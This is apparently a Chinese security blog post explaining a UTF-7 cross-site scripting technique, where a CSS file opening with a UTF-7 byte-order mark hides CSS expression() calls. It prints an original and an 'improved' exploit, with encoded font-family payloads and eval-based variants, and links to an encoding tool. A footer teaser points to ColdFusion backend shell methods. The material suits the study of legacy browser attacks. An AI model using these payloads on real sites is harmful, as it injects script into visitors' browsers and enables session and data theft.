utf-7 编码跨站工具 utf-7 编码 解码工具

  • A+
所属分类:lcx

【XSS】CSS expressions with UTF-7,UTF-7 编码 XSS 漏洞:https://lcx.cc/post/1198/

utf-7 编码跨站漏洞,是09年某黑客大会提出来的(XSS Lightsaber techniques using Hackvertor,CONFidence2009_gareth_heyes.pdf),不过国内一直无人研究。

百度空间存在该漏洞很久了,目前才修复(不知道那个蛋疼的提交到乌云了)。

网上所有的转换工具全部不是完全转换的,只转换了特殊符号。。。

针对这个,以前蛋疼的根据这个编码介绍,自己写了个完全转换的。。。

CSS expressions with UTF-7

  1. UTF-7 BOM character can force UTF-7 in a external style sheet
  2. Would you let me upload a style sheet?
  3. @charset ?UTF-7?; works
  4. But you don?t need it
  5. +/v8 is all you need

原版 Exp:

+/v8

body {
    font-family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbABlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
}
//x';xss:expression(alert(1));font-family:'

改良 Exp:

+/v8

body {
    font-family:"+AHgAIgA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgB4AG8AeAA9AD0AMQApAD8AJwAnADoAZQB2AGEAbAAoACIAeABvAHgAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8AWABTAFMAIQAvACkAKQA7ACIAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAI-";
}
//x";xss:expression((window.xox==1)?'':eval("xox=1;eval(alert(/XSS!/));"));font-family:"
//x";xss:expression((window.xox==1)?'':eval("xox=1;document.write('');"));font-family:"

utf-7 编码、解码工具下载:http://www.uudisc.com/user/nuclearatk/file/4008510

XSS Lightsaber techniques using Hackvertor,CONFidence2009_gareth_heyes.pdf,该书下载地址:http://www.uudisc.com/user/nuclearatk/file/4008516

2012-11-4 12:42:29 补充:

网盘地址已失效,新的下载地址为:

UTF-7 编码解码工具.rar

XSS Lightsaber techniques using Hackvertor,CONFidence2009_gareth_heyes.pdf

文章来源于lcx.cc:utf-7 编码跨站工具 utf-7 编码 解码工具

相关推荐: ColdFusion 后台 GetShell

COLDFUSION后台getshelll常见的方法就是添加计划任务,COLDFUSION(CVE-2010-2861) 本地包含利用方法drops里面也写了一种方法,但是这2中方法唯一缺点就是当web服务器无法对外访问时以上方法就失效了。所以来介绍一个当we…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: